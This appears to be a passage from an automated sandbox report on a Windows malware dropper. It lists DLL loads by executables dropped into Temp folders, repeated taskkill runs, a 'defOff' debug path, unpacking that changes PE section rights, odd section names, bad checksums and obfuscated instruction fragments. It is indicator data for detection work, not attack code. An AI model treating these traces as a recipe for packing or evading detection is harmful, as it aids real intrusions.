Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll

Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 3069952 > 1048576

Source: file.exe

Static PE information: Raw size of dolctmic is bigger than: 0x100000 < 0x2c1c00

Source:	Binary string: my_library.pdbU source: c077ee22d1.exe, 0000000B.00000003.2676689966.000000000534B000.00000004.00001000.00020000.00000000.sdmp, c077ee22d1.exe, 0000000B.00000002.2717758485.0000000000EBC000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: my_library.pdb source: c077ee22d1.exe, 0000000B.00000003.2676689966.000000000534B000.00000004.00001000.00020000.00000000.sdmp, c077ee22d1.exe, 0000000B.00000002.2717758485.0000000000EBC000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 910S1Q63XQ87I6P4.exe, 00000002.00000003.1898160326.0000000005380000.00000004.00001000.00020000.00000000.sdmp, 910S1Q63XQ87I6P4.exe, 00000002.00000002.2031394555.0000000000E82000.00000040.00000001.01000000.00000006.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Unpacked PE file: 2.2.910S1Q63XQ87I6P4.exe.e80000.0.unpack :EW;.rsrc:W;.idata :W;smhgitdo:EW;ntzismqa:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Unpacked PE file: 3.2.SP29EZJLUAF4OXVNPKLP.exe.e30000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hbhuwskf:EW;ihphxsar:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hbhuwskf:EW;ihphxsar:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.a90000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hbhuwskf:EW;ihphxsar:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hbhuwskf:EW;ihphxsar:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 7.2.skotes.exe.a90000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hbhuwskf:EW;ihphxsar:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hbhuwskf:EW;ihphxsar:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 8.2.skotes.exe.a90000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hbhuwskf:EW;ihphxsar:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hbhuwskf:EW;ihphxsar:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Unpacked PE file: 11.2.c077ee22d1.exe.e90000.0.unpack :EW;.rsrc :W;.idata :W; :EW;rcutauay:EW;rnjpicgc:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;rcutauay:EW;rnjpicgc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Unpacked PE file: 12.2.3e1d30d118.exe.e40000.0.unpack :EW;.rsrc:W;.idata :W;dolctmic:EW;nozaowtq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;dolctmic:EW;nozaowtq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Unpacked PE file: 31.2.c077ee22d1.exe.e90000.0.unpack :EW;.rsrc :W;.idata :W; :EW;rcutauay:EW;rnjpicgc:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;rcutauay:EW;rnjpicgc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe	Unpacked PE file: 33.2.J3F2AVPL447NSFJEKUT1.exe.220000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hbhuwskf:EW;ihphxsar:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hbhuwskf:EW;ihphxsar:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: num.exe.8.dr	Static PE information: real checksum: 0x0 should be: 0xdb9be
Source: 3e1d30d118.exe.8.dr	Static PE information: real checksum: 0x2f80d8 should be: 0x2f2f19
Source: random[1].exe.8.dr	Static PE information: real checksum: 0x2f80d8 should be: 0x2f2f19
Source: c077ee22d1.exe.8.dr	Static PE information: real checksum: 0x21a765 should be: 0x2127d2
Source: J3F2AVPL447NSFJEKUT1.exe.10.dr	Static PE information: real checksum: 0x1d5faa should be: 0x1cbfe7
Source: random[1].exe0.8.dr	Static PE information: real checksum: 0x21a765 should be: 0x2127d2
Source: file.exe	Static PE information: real checksum: 0x2f80d8 should be: 0x2f2f19
Source: 910S1Q63XQ87I6P4.exe.0.dr	Static PE information: real checksum: 0x2abc36 should be: 0x2b231c
Source: SP29EZJLUAF4OXVNPKLP.exe.0.dr	Static PE information: real checksum: 0x1d5faa should be: 0x1cbfe7
Source: skotes.exe.3.dr	Static PE information: real checksum: 0x1d5faa should be: 0x1cbfe7
Source: 6QPF41LR0H1R83WBFIVMMOQHW.exe.10.dr	Static PE information: real checksum: 0x2abc36 should be: 0x2b231c
Source: num[1].exe.8.dr	Static PE information: real checksum: 0x0 should be: 0xdb9be

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: dolctmic
Source: file.exe	Static PE information: section name: nozaowtq
Source: file.exe	Static PE information: section name: .taggant
Source: 910S1Q63XQ87I6P4.exe.0.dr	Static PE information: section name:
Source: 910S1Q63XQ87I6P4.exe.0.dr	Static PE information: section name: .idata
Source: 910S1Q63XQ87I6P4.exe.0.dr	Static PE information: section name: smhgitdo
Source: 910S1Q63XQ87I6P4.exe.0.dr	Static PE information: section name: ntzismqa
Source: 910S1Q63XQ87I6P4.exe.0.dr	Static PE information: section name: .taggant
Source: SP29EZJLUAF4OXVNPKLP.exe.0.dr	Static PE information: section name:
Source: SP29EZJLUAF4OXVNPKLP.exe.0.dr	Static PE information: section name: .idata
Source: SP29EZJLUAF4OXVNPKLP.exe.0.dr	Static PE information: section name:
Source: SP29EZJLUAF4OXVNPKLP.exe.0.dr	Static PE information: section name: hbhuwskf
Source: SP29EZJLUAF4OXVNPKLP.exe.0.dr	Static PE information: section name: ihphxsar
Source: SP29EZJLUAF4OXVNPKLP.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: .idata
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: hbhuwskf
Source: skotes.exe.3.dr	Static PE information: section name: ihphxsar
Source: skotes.exe.3.dr	Static PE information: section name: .taggant
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name: .idata
Source: random[1].exe.8.dr	Static PE information: section name: dolctmic
Source: random[1].exe.8.dr	Static PE information: section name: nozaowtq
Source: random[1].exe.8.dr	Static PE information: section name: .taggant
Source: 3e1d30d118.exe.8.dr	Static PE information: section name:
Source: 3e1d30d118.exe.8.dr	Static PE information: section name: .idata
Source: 3e1d30d118.exe.8.dr	Static PE information: section name: dolctmic
Source: 3e1d30d118.exe.8.dr	Static PE information: section name: nozaowtq
Source: 3e1d30d118.exe.8.dr	Static PE information: section name: .taggant
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: random[1].exe0.8.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.8.dr	Static PE information: section name: .idata
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: random[1].exe0.8.dr	Static PE information: section name: rcutauay
Source: random[1].exe0.8.dr	Static PE information: section name: rnjpicgc
Source: random[1].exe0.8.dr	Static PE information: section name: .taggant
Source: c077ee22d1.exe.8.dr	Static PE information: section name:
Source: c077ee22d1.exe.8.dr	Static PE information: section name: .rsrc
Source: c077ee22d1.exe.8.dr	Static PE information: section name: .idata
Source: c077ee22d1.exe.8.dr	Static PE information: section name:
Source: c077ee22d1.exe.8.dr	Static PE information: section name: rcutauay
Source: c077ee22d1.exe.8.dr	Static PE information: section name: rnjpicgc
Source: c077ee22d1.exe.8.dr	Static PE information: section name: .taggant
Source: 6QPF41LR0H1R83WBFIVMMOQHW.exe.10.dr	Static PE information: section name:
Source: 6QPF41LR0H1R83WBFIVMMOQHW.exe.10.dr	Static PE information: section name: .idata
Source: 6QPF41LR0H1R83WBFIVMMOQHW.exe.10.dr	Static PE information: section name: smhgitdo
Source: 6QPF41LR0H1R83WBFIVMMOQHW.exe.10.dr	Static PE information: section name: ntzismqa
Source: 6QPF41LR0H1R83WBFIVMMOQHW.exe.10.dr	Static PE information: section name: .taggant
Source: J3F2AVPL447NSFJEKUT1.exe.10.dr	Static PE information: section name:
Source: J3F2AVPL447NSFJEKUT1.exe.10.dr	Static PE information: section name: .idata
Source: J3F2AVPL447NSFJEKUT1.exe.10.dr	Static PE information: section name:
Source: J3F2AVPL447NSFJEKUT1.exe.10.dr	Static PE information: section name: hbhuwskf
Source: J3F2AVPL447NSFJEKUT1.exe.10.dr	Static PE information: section name: ihphxsar
Source: J3F2AVPL447NSFJEKUT1.exe.10.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05DB38BD push edi; retf	0_3_05DB38C0
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Code function: 2_2_010078C5 push ecx; mov dword ptr [esp], 6DF56921h	2_2_010078EF
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Code function: 2_2_010078C5 push edi; mov dword ptr [esp], 4CBF5062h	2_2_01007935
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Code function: 2_2_010078C5 push ecx; mov dword ptr [esp], 68A88FF4h	2_2_010079DC
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Code function: 2_2_010078C5 push 06D0CF6Dh; mov dword ptr [esp], edx	2_2_01007A06
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Code function: 2_2_01007A26 push edi; mov dword ptr [esp], eax	2_2_01007A74
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Code function: 2_2_01007A26 push edi; mov dword ptr [esp], 552E85D1h	2_2_01007A8E
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Code function: 2_2_00E91DE8 push 407562C7h; mov dword ptr [esp], ebp	2_2_00E95A51
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Code function: 2_2_00E91DE8 push 7FC45CDAh; mov dword ptr [esp], edx	2_2_00E95A87
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Code function: 2_2_00E908EF push ecx; mov dword ptr [esp], edx	2_2_00E925D8
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Code function: 2_2_00E908EF push ecx; mov dword ptr [esp], esi	2_2_00E94E0A
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Code function: 2_2_0100B924 push ecx; mov dword ptr [esp], edi	2_2_0100B932
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Code function: 2_2_01011128 push 15A74633h; mov dword ptr [esp], ebx	2_2_010112A1
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Code function: 2_2_00E910AC push 50B02DA7h; mov dword ptr [esp], edi	2_2_00E944DA
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Code function: 2_2_00E910AC push 1157C7A0h; mov dword ptr [esp], esi	2_2_00E94D15
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Code function: 2_2_0101E95D push 3A6B8CBEh; mov dword ptr [esp], eax	2_2_0101EAB8
